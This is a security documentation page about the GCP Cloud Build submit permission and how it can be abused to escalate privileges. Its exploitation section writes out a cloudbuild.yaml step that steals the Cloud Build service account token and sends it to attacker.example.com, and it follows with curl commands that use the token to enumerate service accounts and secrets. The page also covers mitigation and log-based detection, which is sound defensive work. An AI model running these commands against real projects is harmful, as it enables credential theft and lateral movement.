Skip to content

GCP_TRIGGER_BUILD

Copy page

Summary

Forestall ACL Alias GCP_TRIGGER_BUILD
GCP Alias Compute Execution & Pipeline Pivots
Affected Object Types Projects
Exploitation Certainty Certain
Granting Roles roles/cloudbuild.admin, roles/cloudbuild.builds.editor

Description

GCP_TRIGGER_BUILD indicates that an identity can submit and manage Cloud Build jobs in a GCP project. Cloud Build is GCP’s managed CI/CD service, and build jobs run as the Default Cloud Build Service Account ([PROJECT_NUMBER][email protected]) by default. This SA is automatically granted roles/editor on the project, giving it broad write access.

An attacker with the ability to submit Cloud Build jobs can execute arbitrary code running as this highly privileged SA — without needing to create VMs or manage compute infrastructure. The attacker simply submits a build that reads and exfiltrates the SA’s token from the build environment.

Key abuse scenarios:

  • Submit a Cloud Build job with a malicious cloudbuild.yaml → code runs as the Cloud Build SA (project editor by default).
  • Exfiltrate the Cloud Build SA token → use it as the SA for lateral movement.
  • Modify build triggers to inject malicious steps into the CI/CD pipeline (supply chain attack).

Identification

gcloud CLI

# Find who has Cloud Build admin or editor roles
PROJECT_ID="my-project"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
jq '.bindings[] | select(.role | test("cloudbuild.admin|cloudbuild.builds.editor")) | {role: .role, members: .members}'
# Check Cloud Build SA permissions
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
CLOUD_BUILD_SA="${PROJECT_NUMBER}@cloudbuild.gserviceaccount.com"
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
jq --arg sa "serviceAccount:${CLOUD_BUILD_SA}" '.bindings[] | select(.members[] | contains($sa))'
# List existing build triggers
gcloud builds triggers list --project=$PROJECT_ID \
--format="table(name, description, createTime, github.name)"

Exploitation

gcloud CLI

# Write a malicious Cloud Build config that exfiltrates the Cloud Build SA token
cat > /tmp/cloudbuild.yaml << 'EOF'
steps:
- name: 'gcr.io/cloud-builders/gcloud'
entrypoint: 'bash'
args:
- '-c'
- |
TOKEN=$(gcloud auth print-access-token)
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"token\": \"$TOKEN\"}" \
https://attacker.example.com/collect
EOF
# Submit the build without source — executes as the Cloud Build SA (roles/editor by default)
PROJECT_ID="target-project"
gcloud builds submit --no-source --config=/tmp/cloudbuild.yaml --project=$PROJECT_ID

The Cloud Build SA token is valid for ~1 hour scoped to cloud-platform. Use the collected token to pivot:

# Access project resources as the Cloud Build SA
CLOUD_BUILD_TOKEN="<token-from-collection-endpoint>"
# List service accounts in the project
curl -s -H "Authorization: Bearer $CLOUD_BUILD_TOKEN" \
"https://iam.googleapis.com/v1/projects/${PROJECT_ID}/serviceAccounts"
# Read Secret Manager secrets
curl -s -H "Authorization: Bearer $CLOUD_BUILD_TOKEN" \
"https://secretmanager.googleapis.com/v1/projects/${PROJECT_ID}/secrets"

Compound path: GCP_TRIGGER_BUILD → submit malicious build → extract Cloud Build SA token (default roles/editor) → create SA keys or grant IAM roles → persistent access.

Mitigation

  1. Restrict the Cloud Build SA’s permissions — the default roles/editor assignment is overly broad. Replace with a purpose-specific custom role.
  2. Use custom SA for Cloud Build instead of the default SA.
  3. Restrict roles/cloudbuild.builds.editor — only CI/CD systems and authorized developers should be able to submit builds.
  4. Enable build approval gates for production build triggers.
  5. Audit build logs for unexpected operations (token exfiltration, secret access, lateral movement commands).

Detection

Log Type Method Key Fields
Admin Activity CreateBuild resource.type=build, methodName=google.devtools.cloudbuild.v1.CloudBuild.CreateBuild
gcloud logging read \
'resource.type="build" AND protoPayload.methodName="google.devtools.cloudbuild.v1.CloudBuild.CreateBuild"' \
--project=$PROJECT_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.build_id)"

Alert on:

  • Build submissions outside of known CI/CD service accounts.
  • Builds with inline cloudbuild.yaml (not from a tracked source repository).
  • Build steps containing gcloud auth print-access-token or metadata server requests.
  • Failed builds after unusual activity (attacker testing payloads).

References

Was this page helpful?

Thank you for your feedback.